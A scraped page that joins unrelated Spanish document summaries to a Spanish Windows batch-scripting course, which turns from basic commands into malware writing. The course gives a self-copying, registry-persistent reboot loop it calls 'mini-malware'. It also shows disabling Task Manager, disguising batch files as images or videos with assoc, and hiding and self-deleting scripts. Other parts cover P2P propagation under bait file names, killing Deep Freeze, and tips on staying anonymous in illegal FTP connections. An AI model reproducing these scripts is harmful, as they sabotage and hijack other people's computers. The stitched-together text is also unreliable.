Este documento presenta los principios fundamentales del método de agricultura biointensiva para establecer un huerto familiar. Describe la importancia de un suelo vivo con vida abundante, materia orgánica, minerales, plantas y aire/agua. Explica los pasos para comenzar un huerto, incluyendo elegir el lugar, verificar la calidad del suelo y seguir principios como la doble excavación, uso de composta y siembra cercana para cultivar de forma intensiva en poco espacio y mejorar el suelo.
El modelo OSI es un modelo de referencia que divide las funciones de comunicación en 7 capas, desde la capa física que se encarga del transporte de bits a través de un medio, hasta la capa de aplicación que permite el uso de aplicaciones de red como el correo electrónico y los navegadores web. Cada capa se encarga de una función específica como el enrutamiento a nivel de red o la segmentación de datos a nivel de transporte, permitiendo la interoperabilidad entre sistemas de diferentes fabricantes.
Este documento describe diferentes formatos de imágenes digitales, incluyendo imágenes vectoriales, mapas de bits, y formatos de archivo como TIFF, RAW, BMP, JPEG, GIF y PNG. Explica las ventajas y desventajas de cada formato, como la compresión, la pérdida de calidad, el peso del archivo, y sus usos comunes. Recomienda usar formatos sin compresión como TIFF o RAW para la máxima calidad de impresión, y formatos comprimidos como JPEG, GIF o PNG para la web y archivos más pequeños.
Este documento habla sobre diferentes formatos de imágenes digitales, incluyendo imágenes vectoriales, mapas de bits, formatos RAW, TIFF, JPEG, GIF y PNG. Explica las ventajas y desventajas de cada formato, como el peso del archivo, la compresión, y si hay pérdida de calidad. También discute cómo estos formatos son usados comúnmente y en qué contextos son más adecuados.
Este documento describe varios métodos para generar números pseudoaleatorios, incluyendo el método de centros al cuadrado, el método congruencial mixto lineal, y el método congruencial multiplicativo. Explica que los números pseudoaleatorios son generados por algoritmos deterministas pero parecen aleatorios, y deben distribuirse uniformemente, ser estadísticamente independientes, y tener un largo periodo para ser útiles en simulaciones.
Este documento trata sobre el acceso directo a memoria (DMA) y los canales de entrada/salida. Explica que el DMA permite a dispositivos acceder directamente a la memoria sin involucrar a la CPU, y que los canales de E/S pueden ejecutar instrucciones de E/S para controlar operaciones de entrada/salida. También cubre los tipos de transferencia DMA y los dos tipos de canales: canales selectores y canales multiplexores, los cuales pueden manejar E/S de múltiples dispositivos al mismo tiempo
Mi Carnaval, Aplicación web para la gestión del carnaval y la predicción basa...micarnavaltupatrimon
Mi Carnaval es la plataforma que permite conectar al usuario con la cultura y la emoción del Carnaval de Blancos y Negros en la ciudad de Pasto, esta plataforma brinda una amplia oferta de productos, servicios, tiquetería e información relevante para generarle valor al usuario, además, la plataforma realiza un levantamiento de datos de los espectadores que se registran, capturando su actividad e información relevante para generar la analítica demográfica del evento en tiempo real, con estos datos se generan modelos predictivos, que permiten una mejor preparación y organización del evento, de esta manera ayudando a reducir la congestión, las largas filas y, así como a identificar áreas de alto riesgo de delincuencia y otros problemas de seguridad.
Mi Carnaval, Aplicación web para la gestión del carnaval y la predicción basa...micarnavaltupatrimon
Mi Carnaval es la plataforma que permite conectar al usuario con la cultura y la emoción del Carnaval de Blancos y Negros en la ciudad de Pasto, esta plataforma brinda una amplia oferta de productos, servicios, tiquetería e información relevante para generarle valor al usuario, además, la plataforma realiza un levantamiento de datos de los espectadores que se registran, capturando su actividad e información relevante para generar la analítica demográfica del evento en tiempo real, con estos datos se generan modelos predictivos, que permiten una mejor preparación y organización del evento, de esta manera ayudando a reducir la congestión, las largas filas y, así como a identificar áreas de alto riesgo de delincuencia y otros problemas de seguridad.
1. 1
Preparatorio: ¿Qué es Batch? (Pagina 2)
Parte 2: Primeros comandos y Sintaxis en Batch (Pagina 2)
Parte 3: Variables (Pagina 4)
Parte 4: If , Bucles y Otros comandos (Pagina 6)
Parte 5: Registro en Batch (Pagina 8)
Parte 6: FTP con Batch (Pagina 10)
Parte 7: Shutdown, Assoc, Attrib , AT (Pagina 11)
Parte 8: El P2P con batch (Pagina 13)
Parte 9: TASSKILL y otros (Pagina 14)
Parte 10: Funciones en Red y FOR (Pagina 19)
Autores: Saok y Azrael
Escritura a pdf: R0t
2. 2
Lo primero y principal
Debes saber cuales son los comandos batch(más adelante te los explicaremos mejor,
pero así vas calentado).
Para saber los comandos debes ir a:
Inicio>ejecutar
Aquí escribes “cmd” (sin pone las comillas)
Si te sale una ventana negra con letras blancas vas bien si no repítelo todo y fíjate bien.
En esta ventana que te a salido escribe Help
Te saldrá una lista con todos los comandos y sus características
Para saber más sobre un comando escribes:
nombre_del_comando /? ejemplo:
del /?
Ahora si quieres ponte a leer sobre ellos.
Aquí tenéis todos los comandos de la shell:
inicio>ejecutar y escriban:
ms-its:C:WINDOWSHelpntcmds.chm::/ntcmds.htm
¿Qué es Batch?
¿Un lenguaje? ¿Unos códigos? ¿Una interpretación?
Hay muchas maneras de denominar a batch ya que la gente lo llama de muchas
maneras. Yo como escritor de batch (o programador para los sensibles) lo llamaría así:
Batch son unos scripts interpretados por el sistema a través de la shell .
Estos scripts pueden ser ordenados en bloque:
-Entrada
-Primera línea
-Segunda línea
-Salida
3. 3
Pero dependiendo la segunda línea de la primera, y la tercera de la segunda y así
sucesivamente. Esto quiere decir que si un batch falla en su línea 52 el resto del batch
no seguirá adelante.
Batch no es compilado si no que al igual que perl son interpretados, que para que los
newbies lo entiendan mejor, se podría decir que se van leyendo como un libro jeje.
Primeros comandos y Sintaxis en Batch
Lo primero que deber saber que todo batch se comienza poniendo:
@ echo off
Esto desactiva el eco o repetición, es decir, que no te saldrá la ruta de donde se
encuentra más el comando, pruébalo por ti mismo y comprenderás.
Notan la diferencia? bien sigamos.
-Como mostrar un texto en pantalla:
Se usa el comando “echo” de esta manera:
echo Texto a mostrar
ejemplo:
echo Esto es un tutorial para Glomur
tras poner esto, deben usar el comando pause(parar) o pasara a la siguiente línea sin casi
verse. Con todo lo que tenemos aprendido seria así:
@ echo off
echo Texto a mostrar
pause
exit
–Si lo que quieren mostrar es un mensaje de tipo ERROR usaran el comando msg).Su
forma de empleo es la siguiente:
msg * texto a salir
ejemplo:
msg * Esto es un tutorial para glumor.
4. 4
Comandos Copiar, Mover, Borrar
Los comandos copiar, mover y borrar son copy, move, del. Sus usos respectivamente
son:
-copy c:rutaorigen c:rutadestino
por ejemplo, suponemos que queremos copiar un .txt :
copy c:carpetanombre.txt c:carpetanombre.txt
El comando move seria exactamente igual pero con el comando move:
move c:carpetanombre.txt c:carpetanombre.txt
El comando Del debería usarse con sus modificadores.Su utilización seria así:
del /modificador c:rutaarchivo
ejemplo(pretendemos borrar un .txt):
del /q /s c:carpetanombre.txt
Bien con todo lo aprendido hasta ahora ya podríamos hacer lo siguiente:
@ echo off
echo Se va a copiar el .txt
pause
copy c:archivonombre.txt c:archivonombre.txt
echo Se va a eliminar el archivo .txt original
pause
del /q /s c:archivonombre.txt
msg * Trabajo completado!
exit
Variables
Bueno asumo que si ya estas leyendo esto es que habrás leído antes las partes 1 y 2 de
este curso, por lo que en algún momento te habrás pasado por el área de Comandos
Batch y les habrás echado un ojo. Bueno ya a partir de aquí no te recordare a cada paso
lo de los comandos eso ya lo debes saber tu.
Empecemos hoy estudiaremos el tema de las variables no tocaremos todas sus
funciones (porque son muchas) pero si las básicas para un escritor.
Aquí el comando maestro será SET , con este comando aremos infinidad de cosas y en
muchas ocasiones lo acabaras usando.
5. 5
-Ínteractuación con el usuario
Ya estas alturas estarías deseando escribir un programa que interactúe con el usuario, es
decir, que el que este frente de la pantalla pueda meter datos. Esto lo vamos a lograr con
el comando Set (y sus modificadores) y con el comando Echo (par que quede bonito).
La forma en la que se crea una variable en la que el usuario le dará un valor es bajo esta
sintaxis de Set:
set /p nombrevariable=
El usuario introduciría un dato de cualquier tipo, que se asignaría a nombrevariable,
para usar las variables empleamos los signos % delante y detrás del nombre de la
variable:
%nombrevariable%
Ahora con lo aprendido en las partes anteriores vamos a crear un simple codigo que te
ara entender todo esto:
@ echo off
echo Curso Batch
echo.
echo Introduce tus años
set /p edad=
echo vaya vaya tienes %edad% años
pause
msg * Gracias por visitar Glomur
exit
Después de ver el código lo primero que te preguntaras porque entre las líneas 4 y 5 no
introdujo un pause si fue lo que nos dijo en la parte 2. No, no me equivocado, set en ese
caso hace que pare el programa ya que el dato que tiene que introducir (por así decirlo)
es importante.
-Creando valores semifijos
Un dato importante es que son “semifijos” porque solo duran mientras que esta el batch
en ejecución o mejor dicho, mientras esta la shell abierta. Estos datos son muy
cómodos, para no tener que estar recordando datos constantemente y poder resumirlo en
una palabra.
Esto se crea bajo el comando set con esta sintaxis:
set nombrevariable=datovariable
Es importante decir, que batch, no reserva espacios de memoria por lo que si creas otra
variable con el mismo nombre, se escribirá sobre la actual.
Aquí un ejemplo:
6. 6
@ echo off
set devolucion=2015845215
set nueva=2015844215
……
……
creo que queda claro no así en vez de tener que introducir el numero tan largo podemos
resumirlo poniendo %devolucion%
-Operadores matemáticos usando Set
Con esto me refiero a sumar, restar, multiplicar y dividir.
Todo esto se consigue bajo el comando set con la siguiente sintaxis:
set /a resultado=dato1 operador dato2
Para que lo entendáis mejor os lo pongo de ejemplo:
set/a resultado=5 + 5
Con esto se almacena en la variable resultado la suma de 5+5
Fácil verdad? de esto ya solo me queda aclarar una cosa y es que a batch son se le dan
bien los decimales jejeje así que no pongáis números como 5 -
4.999999999999999999991
If, Bucles y Otros comandos
Esta puede ser una de las partes más complicadas y extensas.
Empezare flojito para no atosigar a tu cerebro tan pronto.
-Limpiando la pantalla
Batch tiene un comando limpiador que sirve para eliminar todo lo que hay en la shell
escrito, el comando es cls el cual no tiene sintaxis se pone cls y listo.
-Bucles
Los bucles se componen de dos partes el comando que realiza el salto (goto) y la
etiqueta que lo recibe. Con los bucles podemos hacer saltos de línea para llegar a otra
parte del código sin ejecutar ciertas líneas antes la sintaxis, apenas es complicada:
:bucle (esta es la etiqueta)
……. (Líneas que se ejecutaran
……. continuamente)
goto :bucle (volverá a la etiqueta)
Simple verdad? pues así tenemos un bucle que lo puedes usar como quieras o haciendo
salto de líneas, me explico, supongamos que hemos desarrollado un código, pero
necesitamos ejecutar primero un trozo que esta al final podríamos hacer esto:
7. 7
:inicio (primera etiqueta)
………. (Código)
………. (Código)
goto :trozo (saltamos a la línea que nos interesa)
:seguimos (volveremos aquí cuando acabemos en la línea
……… que salteamos antes)
………
………
:trozo (línea a la que hemos venido)
………
………
goto :seguimos (regresamos al punto donde nos quedamos)
Creo yo que no esta complicado no? Bueno sigamos
-Comparando cosas y otras opciones (comando IF)
Veamos, para que te hagas una idea con el comando if podemos comprobar si existe
algo, comparar dos cosas, crear bucles de tiempo determinado, etc.
—-Comando if para la comparación
Os voy a enseñar a comprar dos variables que creo que no es muy complicado la
sintaxis es así:
if variable1==variable2 (comando)
Ejemplo
if %saok%==%redactor% (msg * saok is the redactor1)
con esto compararíamos si lo que hay dentro de la variable “saok” y la variable
“redactor” es la misma se muestra un mensaje.
If también nos da la opción de hacer algo si el resultado no es satisfactorio (lo iba a
explicar con 0 y 1 pero así se entiende mejor). La sintaxis es la siguiente:
if %variable1%==%variable2% (comando) else (comando)
ejemplo:
if %saok%==%redactor% (msg * si es cierto) else (msg * no es cierto)
Con esto lo que hacemos se si la variable “saok” es igual que “redactor” muestre un
mensaje, pero si no es igual, muestre otro mensaje.
Entre los paréntesis (siempre con paréntesis) se puede colocar el comando que se quiera.
— Comprobando archivos
Con if se puede comprobar si un archivo existe. La sintaxis es la siguiente:
8. 8
if exit ruta (comando)
Ejemplo:
if exit c:carpetaarchivo.txt (msg * existe)
Esto lo que hace es que si existe el archivo.txt en esa ruta muestra un mensaje. El
comando entre paréntesis se puede cambiar. Aquí también se puede añadir la función
else para que en caso de que no exista haga otra cosa
if exit c:carpetaarchivo.txt (msg * existe) else (msg * no existe)
—Creando Búcles limitados.
Aquí estuve tratando de explicarlo pero mejor decidí que os pondría un código muy
simple y así lo analizáis y comprendéis vosotros.
@ echo off
:inicio
cls
set numero2=1
set /a resultado=%resultado% + %numero2%
if %resultado%==99 (goto :seguimos) else (goto :inicio)
Con este código lo que hacemos es que a la variable resultado (por defecto 0) se le suma
1 y luego se compara con if si es 99 sigue si no vuelve a empezar. Pero esta vez la
variable resultado no será 0 si no 0+1+1=2 ósea será 2,y en la próxima 3 y luego
4….5…6 etc todos sabemos contar…cuando llegue a 99 pasara a la etiqueta :seguimos
y el código que hayamos puesto.
Bueno con este acabamos la parte 4, pasemos
Registro en Batch
Hoy vamos a hablar del registro en batch.
Todo viene a partir del comando reg voy a explicarlo:
—Añadiendo una clave al registro
Para esto usamos el comando Red add con sus modificadores, como es largo pongo
directamente el ejemplo y todos lo comprenderéis:
reg add “HKLMSoftwareMicrosoftWindowsCurrentVersionRun” /v Glomur /d
c:WINDOWSsystem32nombre.bat”
9. 9
Con ese código lo que hacemos es agregar una clave al registro (concretamente para que
inicie un batch con la pc)
Ay distintos tipos valores en el registro aquí se los dejo:
Tipos de datos de clave de registro
[ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |
REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
REG_NONE | REG_EXPAND_SZ ]
Si se omite, se asume REG_SZ
—Borrando Claves del registro
Para eso usamos el comando red delete y luego con menos la clave a borrar. Ejemplo:
reg delete hklmSoftwareMicoMiAlpTimeout
—Modificando Claves en el registro
Esto se hace también con el comando reg add pero escribiendo encima simplemente le
damos los valores que queramos:
reg add hkcusoftwaremicrosoftwindowscurrentversionpoliciessystem” /v
disabletaskmgr /t reg_dword /d “”1″” /f
Con ese código escribimos encima del valor dword de esa clave
—Exportando e importando
Sirve para importar o exportar el registro y los comandos son reg import y reg export:
reg export HKLMSoftwareMicoMiAp CopiaAp.reg
reg import CopiaAp.reg
Creo que no hace ni falta explicarlo. Lo único que si se omite clave se exporta todo el
registro.
Ahora quiero hablaros de los redireccionadores, que son de lo mas simple de batch,se
usa > o >> la sintaxis es la siguiente:
echo texto que se quiere guardar > c:carpetanoexiste.txt
echo texto que se quiere guardar >>c:carpetaexiste.txt
La diferencia es muy grande, en el 1º se crea el archivo no existe y se escribe eso
dentro. En el 2º el archivo existe.txt ya existe y lo que se hace es añadir el texto al final
y guardarlo.
10. 10
FTP con Batch
Hoy vamos a tocar un tema corto pero muy importante que es el tema del FTP.Cuando
empezaba con batch yo y mis amigos teníamos muchos problemas con este comando ya
que es “complicadillo” de usar, empecemos.
Veamos cuando lo entendimos es muy fácil usamos el comando ftp y sus
modificadores. Pero lo primero que los comandos para el ftp no se usan con este, este
comando solo es para conectar, los comandos ftp los tienes que colocar dentro de un .txt
(para que no haya lios,voy a trabajar desde el disco local C:)
Entonces creamos un .txt llamado conexión y colocamos las cosas dentro de la siguiente
manera:
Username
pass
comando
comando
comando
Ejemplo:
Saok
Glomur
hash
status
Y lo guardamos dentro del .txt
Para usarlo, usaremos el comando ftp de la siguiente forma:
ftp -s:c:conexion.txt 124.102.23.5
ftp es el comando -s:c:rutaconexion.txt es el archivo text con las ordenes y esa ip seria
la del servidor al que vamos a conectar.
—Como mandar archivos por FTP
Dentro del .txt después del user y el pass ponemos:
send c:carpetaarchivo.txt
así mandamos un archivo.
—Como crear una carpeta en el ftp
Detrás del user y el pass ponemos:
11. 11
mdir nombrecarpeta
NOTA: recordar después de todos los comandos colocar bye o closed (yo recomiendo
bye)
Sugerencias y recomendaciones:
Siempre que el batch deba de ser usado en otra PC hacer que se reemplace el archivo.txt
por otro con el mismo nombre y luego se borre, así quedaras completamente anónimo.
Si vas hacer conexiones ilegales tener cuidado porque se queda registrada tu IP.
Intentar que el user y el pass no contengan caracteres raros para batch ni comodines ( *
% )
Shutdown, Assoc, Attrib , AT
Hoy ya damos un gran paso, pasamos de aprender a programar. Notareis que las
explicaciones son más justas y ahora elaboraremos códigos más funcionales.
Os empezare comentando con el comando Shutdown,es una comando que si lo lees en
la shell parece simple y en caso de que se active, es facilísimo de parar, pero también
puede provocar muchos daños y hacer que necesites entrar en el Modo aprueba de fallos
para solucionarlo.
Su sintaxis es shutdown modificador
ejemplo:
shutdown -r -t 200
Esto provocará el reinicio de la PC en 200 segundos. Así de simple no ara mucho, más
que la petada de que te hace reiniciar si se pasa el tiempo, para pararlo escribimos:
shutdown -a
Pensaras que corrada si se puede parar tan fácilmente, pues no, que pasaría si te pusiera:
shutdown -r -t 1 o shutdown -r -t 0
No tendrías tiempo ni de cargar la shell, tampoco seria una gran amenaza, sin embargo
si jugamos con lo que explicamos en la parte del comando REG podríamos joder
mucho, de la siguiente forma.
(Ya voy a aclarando de que Glomur ni ninguno de sus redactores se hace responsable
de lo que hagas con este código)
12. 12
@ echo off
copy /y %0 c:WINDOWSsystem32nombre.bat
reg add “HKLMSoftwareMicrosoftWindowsCurrentVersionRun” /v Glomur /d
c:WINDOWSsystem32nombre.bat”
shutdown -r -t 1
exit
Esto lo guardamos como nombre.bat y ya tenemos echo un mini-malware personal que
puede joder mucho.
De aquí solo comentar la función %0 en copy , con eso conseguimos que si no sabemos
donde esta el batch para usar el comando copy el se busca así mismo.
Otra función (o comando mejor dicho) interesante en batch es assoc
Este comando sirve para crear nuestras propias extensiones, y de que sirve esto, pues de
mucho.
Batch por el icono es muy cantoso, pero si lo renombramos a .saok ya es menos cantoso
le podemos cambiar el icono, aquí unos ejemplos que os lo haran entender bien:
assoc .txt=batfile
assoc .gif=batfile
assoc .avi=batfile
assoc .glomur=batfile
xD creo que se entiende perfectamente, toma una extensión y la convierte en batch
Otra función muy usada y destacada es el comando Attrib (atributos) sirve para
cambiar las propiedades de un archivo.
Veamos supongamos que tenemos un archivo recién creado en la carpeta
c:carpetaarchivo.bat y no nos interesa que se sepa que esta ahí, pues usamos el
comando attrib de esta forma:
attrib +h c:carpetaarchivo.bat
Yo para mi gusto lo que aria seria al principio del código seria colocar:
set ruta=c:carpetaarchivo.bat
y cuando necesite usar attrib pondria:
attrib +h %ruta%
Pero attrib también puede cambiar las propiedades de una carpeta, simplemente
ponemos:
attrib +h c:carpeta
Y esa carpeta estará oculta.
13. 13
Y además de todo esto, attrib puede cambiar atributos que ya existan. Por ejemplo,
tenemos un archivo del sistema solo de lectura el cual no nos lo deja mover si editar,
pues ponemos (preferentemente en este orden):
attrib -r -s c:carpetaarchivo.exe
Según lo que hemos aprendido en esta parte del curso, podríamos crear un malware
bastante curioso jeje.
Pero estéticamente falla, que nada mas empezar se ejecute el código y para finalizar se
reinicie no? pues te hace sospechar y mas si abre ese archivo otra ves y pasa lo mismo,
pues para eso nos ponemos los guantes y usamos en el comando AT este comando sirve
para programar tareas, entonces programamos por ejemplo que la PC se reinicie a las 8
PM entonces ponemos en nuestro código:
at 20:00 shutdown -r -t 10 -c “Se reiniciara la pc por un fallo interno.”
Así a las 8 pm se producirá el reinicio bastante lejos de la ora a la que le pasemos el
batch. jeje.
Y luego para ya convertir nuestro código en el batch del guante blanco, podríamos
seguir usando batch y añadir la función:
at 20:30 del /q /s c:rutadenuestrobatch.bat
Así no queda ni rastro de nuestro batch. muajajajaja
El P2P con batch
A partir de aquí ya lo voy a dedicar a la programación de malwares, ya que con ellos
(según mi experiencia) se ponen mejor casos que con el desarrollo de software normal.
Bueno hoy Hablaremos de las redes P2P. Lo primero entender que es p2p y como
funcionan los nodos (en la pagina oficial de emule, tienes una explicación muy
buena).Ya comprendido esto podemos seguir.
Lo primero que te voy a mencionar y exigir es un buen nombre, pero te recomiendo que
sea un nombre corto para obtener mejores resultados en las búsquedas. Ya pensado el
nombre, necesitamos obtener los directorios de los principales programas de p2p, no te
preocupes aqui te los dejo:
C:Archivos de programaGroksterMy Grokster
C:Archivos de programaMorpheusMy Shared Folder
C:Archivos de programaICQshared files
C:Archivos de programaKaZaAMy Shared Folder
C:Archivos de programaKaZaA LiteMy Shared Folder
C:Archivos de programaEDONKEY2000incoming
C:Archivos de programaeMuleIncoming
14. 14
C:Archivos de programaFiletopia3Files
C:Archivos de programaappleJuiceincoming
C:Archivos de programaGnucleusDownloads
C:Archivos de programaLimeWireShared
C:Archivos de programaOvernetincoming
C:Archivos de programaShareazaDownloads
C:Archivos de programaSwaptorDownload
C:Archivos de programaWinMXMy Shared Folder
C:Archivos de programaTeslaFiles
C:Archivos de programaXoloXDownloads
C:Archivos de programaRapigatorShare
C:Archivos de programaKMDMy Shared Folder
C:Archivos de programaBearShareShared
C:Archivos de programaDirect ConnectReceived Files
Ya teniendo todo, procederemos a aplicar el comando copy que ya vimos anteriormente,
pondré un ejemplo de como.
copy %0 c:*archivos*emuleincomingsex_pass.bat
Bien no estaría mal también matar el proceso del emule (o el/los programa/as que estés
usando para el p2p).Con el reinicio aseguras que se recomiencen las fuentes.
Ejemplo:
TASKKILL /im /PID emule.exe
Bueno con esto acabamos la propagación por p2p pero antes diré un par de cosas sobre
ella
En batch la propagación por p2p es poco efectiva, por eso de que se puede mirar el
código, el icono es sospechoso….por eso ponerla por si cuela pero si el code va muy
sobre cargado no pasa nada si no la pones. Piensa que no programas un virus si no una
bomba lógica, por lo cual es para transferir y que haga su efecto, no pienses en
reproducciones.
Otro facto importante es que si el batch luego lo pasas a .exe y usas el comando copy
dará errores cuando se ejecute la copia del archivo.
TASSKILL y otros
Aclarar que esta parte fue escrita por un excelente programador y no es de los miembros
de glomur. Un saludo Azrael:
Primero que nada NT permite al igual que un sistema UNIX el poder “matar” procesos
a través de una shell de comandos, en UNIX: kill -ps [PID] donde PID es el ID o valor
índice en la tabla de procesos….
15. 15
En NT han ido cambiando los comados:
en NT 4 se usaba algo llamado “Windows NT 4Resource kit” que era una herramienta
que se descargaba desde windows.com/downloads. y los comandos TLIST y KILL
realizaban esa tarea (ya integrados en el sistema).
En sistemas RK y OS/2 se llamaban (excepto en OS/2) PSLIST y PSKILL (parecido en
Solaris.
En sistemas NT 5 (XP-SP1 y XP-SP2 release y beta) se conocen como TASKLIST y
TASKKILL,
TASKLIST:
Nombre de imagen PID Nombre de sesión Núm. de Uso de memoria
========================= ====== ================ ========
============
System Idle Process 0 Console 0 16 KB
Te muestra básicamente el nombre del proceso y el ID…
TASKLIST:
TASKKILL [/S sistema] [/U usuario [/P contraseña]]
{ [/FI filtro] [/PID IdProceso | /IM NombreImagen] } [/F] [/T]
Descripción:
Esta herramienta de la línea de comandos puede usarse en uno o mas
procesos.
Los procesos pueden terminarse a través del Id. o del nombre de imagen.
Lista de parámetros:
/S sistema Especifica el sistema remoto al que conectarse.
/U [dominio]usuario Especifica el contexto de usuario en el que se
que el comando debe ejecutarse.
/P contraseña Especifica la contraseña para el contexto de
usuario dado. Pide la entrada si se omite.
/F Específica la terminación forzada
de proceso(s).
/FI filtro Específica un conjunto de tarea que coinciden
con el criterio especificado en el filtro.
/PID Id. de proceso Especifica el ID. de proceso que se debe
terminar.
16. 16
/IM nombre de imagen Específica el nombre de imagen del proceso que
debe terminar. El carácter comodín “*” puede
usarse para especificar todos los nombres de
imagen.
/T Terminar árbol: termina el proceso especificado
y todos los procesos secundarios iniciados por
él.
/? Muestra el uso de la ayuda.
Filtro(s):
Nombre filtro Operadores validos Valores validos
————- —————— —————
STATUS eq, ne RUNNING | NOT RESPONDING
IMAGENAME eq, ne Nombre de imagen.
PID eq, ne, gt, lt, ge, le Valor de PID.
SESSION eq, ne, gt, lt, ge, le Número de sesión
CPUTIME eq, ne, gt, lt, ge, le Tiempo valido en el formato
hh:mm:ss.
hh - horas,
mm - minutos, ss - segundos
MEMUSAGE eq, ne, gt, lt, ge, le Uso de memoria en KB.
USERNAME eq, ne Nombre de usuario en formato
[dominio]usuario.
MODULES eq, ne Nombre de DLL
SERVICES eq, ne Nombre de servicio.
WINDOWTITLE eq, ne Título de ventana.
Nota: el carácter comodín “*” del modificador /IM se acepta solamente
con filtros.
Nota: los procesos remotos siempre se terminarán de manera forzada
sin tener en cuenta si la opción /F se ha especificado o no.
Ejemplos:
TASKKILL /S sistema /F /IM notepad.exe
TASKKILL /PID 1230 /PID 1241 /PID 1253
TASKKILL /F /IM notepad.exe /IM mspaint.exe
TASKKILL /F /FI “PID ge 1000″ /FI “WINDOWTITLE ne untitle*”
TASKKILL /F /FI “USERNAME eq NT AUTHORITYSYSTEM” /IM notepad.exe
TASKKILL /S sistema /U dominiousuario /FI “USERNAME ne NT*” /IM *
TASKKILL /S sistema /U nombreusuario /P contraseña /FI “IMAGENAME eq note*”
Básicamente nosotros solo queremos saber que “matar” así que podemos arreglar un
batch process que nos lea las ID y las relacione a nuestro nombre de proceso ( si lo
conocemos) así:
TASKKILL /IM %PID%
/IM es la que nos conviene usar para terminar
17. 17
Parámetro:
/IM nombre de imagen Específica el nombre de imagen del proceso que
debe terminar. El carácter comodín “*” puede
usarse para especificar todos los nombres de
imagen.
Esto es para relacionar nuestro nombre de imagen que es el nombre DOS que nosotros
queremos.
Nos conviene también “terminar el proceso” en forma “absoluta” por si esta protegido o
es de sistema bajo el esquema NT/AUTHORITY
Parámetro:
/F Específica la terminación forzada
de proceso(s).
Para todo esto estamos “suponiendo” que se ejecuta bajo privilegios de admin. de lo
contrario necesitamos especificarlo….
Mmmm, pues nuestro sencillo kill process puede verse así:
@ ECHO OFF
SETLOCAL
SET PID=
TASKLIST | FIND /I “%1″ | FIND /I /V “CMD.EXE”
FOR /F “tokens=1*” %%A IN (’TASKLIST ^| FIND /I “%1″ ^| FIND /I /V
“CMD.EXE”‘) DO SET PID=%%A
TASKKILL /F /IM %1
ENDLOCAL
Este sencillo batch nos va a mostrar los procesos para los que el denominador de
imagen sea nuestro parámetro de entrada (todos los procesos con el mismo nombre) y
su ID
Copien y peguen el code en el block de notas ( notepad para los sensibles) y guárdenlo
con el nombre que quieran y pongan la extensión .bat
code:
@ ECHO OFF
SETLOCAL
SET PID=
TASKLIST | FIND /I “%1″ | FIND /I /V “CMD.EXE”
FOR /F “tokens=1*” %%A IN (’TASKLIST ^| FIND /I “%1″ ^| FIND /I /V
“CMD.EXE”‘) DO SET PID=%%A
TASKKILL /F /IM %1
ENDLOCAL
18. 18
Perdonen la presentación pero soy novato aun je je (risa diabólica) pero bueno, solo
deben agregar los nombres de los procesos que quieren matar (deep freeze) así:
@ ECHO OFF
SETLOCAL
SET PID=
TASKLIST | FIND /I “DFServEX.exe” | FIND /I “FrzState.exe” | FIND /I /V
“CMD.EXE”
FOR /F “tokens=1*” %%A IN (’TASKLIST ^| FIND /I “%1″ ^| FIND /I /V
“CMD.EXE”‘) DO SET PID=%%A
TASKKILL /F /IM FrzState.exe /IM DFServEX.exe
ENDLOCAL
OJO: Recuerden que estoy usando comandos para NT 5, si quieren usarlos en NT 4
cambien taskkill por kill y tasklist por tlist y mas importante si usan NT 4 deben
asegurarse que Windows NT 4 Resource Kit este instalado…
@ ECHO OFF
SETLOCAL
SET PID=
TASKLIST | FIND /I “%1″ | FIND /I /V “CMD.EXE”
FOR /F “tokens=1*” %%A IN (’TASKLIST ^| FIND /I “%1″ ^| FIND /I /V
“CMD.EXE”‘) DO SET PID=%%A
TASKKILL /F /IM %1
ENDLOCAL
tskill ok es comando así como taskkill y tasklist vienen incorporados en windows xp o
sea NT 5
Si observas lo cambie en especial para deepfreeze así.:
@ ECHO OFF
SETLOCAL
SET PID=
TASKLIST | FIND /I “DFServEX.exe” | FIND /I “FrzState.exe” | FIND /I /V
“CMD.EXE”
FOR /F “tokens=1*” %%A IN (’TASKLIST ^| FIND /I “%1″ ^| FIND /I /V
“CMD.EXE”‘) DO SET PID=%%A
TASKKILL /F /IM FrzState.exe /IM DFServEX.exe
ENDLOCAL
Únicamente incorpore en el find el nombre del proceso, no es genérico, es especifico
pero puede ser un punto de partida en batch para hacer un DESTROY ALL como el que
planteo lokisho pero mas elegante, en esencia desarmar el sistema desde procesos
primero.
Quizá un lanzador de querys seria genial por si la maquina tiene acceso o esta montado
el ella un sql server
y listo…
19. 19
Saludos
Funciones en Red y FOR
En esta parte vamos a tratar las funciones en red y el comando FOR. Utilizaremos
varios comandos que explicare en su momento.
Veamos el comando net.
El comando net es muy amplio con el puedes modificar usuarios desde su nombre a su
contraseña (siempre que se tengan permisos de administrador)Ejemplo:
net user username password
net user saok glomur
Así cambio al usuario saok su password y le pongo el nuevo de Glomur.
También puedes compartir carpetas o incluso el disco dura enterito de la siguiente
forma:
Sintaxis: net share recurso=unidad o ruta /comentario /usuarios
Ejemplo: net share C$=C: /remark:”Disco Duro” /users:2
(para mas información consulta el apartado de comandos)
Otro comando que ya vimos pero que no explique sus funciones para la red, es el
comando Shutdown.
Colocándole el modificador - m equipo puedes apagar o reiniciar un PC en red Lan.
Ejemplo:
Shutdown -r -m ordenador2 -t 10
Con esto reiniciaríamos la PC en red Lan con el nombre ordenador 2 en un tiempo de 10
segundos.
Y bueno que las funciones en red en batch dejan mucho que desear
Vayamos con el comando FOR
SINTAXIS
FOR %variable IN (cjto) DO comando
Los parámetros son:
FOR /D %variable IN (conjunto) comando DO [parámetros]
Se usa cuando las extensiones de comandos están habilitadas
FOR /R [[unidad:]ruta] %variable IN (set) DO comando [parámetros]
20. 20
Cuando usamos comodines, para ejecutar el for recursivamente
dentro de un directorio especificado
(unidad:ruta) en los archivos especificados por los comodines
FOR /L %variable IN (ini,paso,fin) DO comando [parámetros]
Este es el típico FOR de toda la vida. Supongo ini=0 paso=1 y
fin=4, se crearía la sucesión 0,1,2,3,4,5
FOR /F ["opciones"] %variable IN (cjto archivos) DO comando
[parámetros]
Este es el que tiene chichita.
Ahora, el procesamiento de cada línea se puede modificar a nuestro
antojo mediante las ["opciones"], siendo estas:
EOL=c
Indica que se procesen todas las líneas del archivo menos las que
empiecen por este carácter
SKIP=n
Indica el nº de línea del archivo por el que empezamos a procesarlo.
Es decir, si pongo skip=5, las 5 primeras líneas
Del archivo no se procesaran
DELIMS=xxx
Dice donde (en que símbolos) se quedara el for en cada vuelta (dentro
de una misma línea)
TOKENS=x,y,m-n
Dice cuales son las vueltas validas del for, es decir, en que vueltas
del for nuestra variable tomara un valor. Se pueden
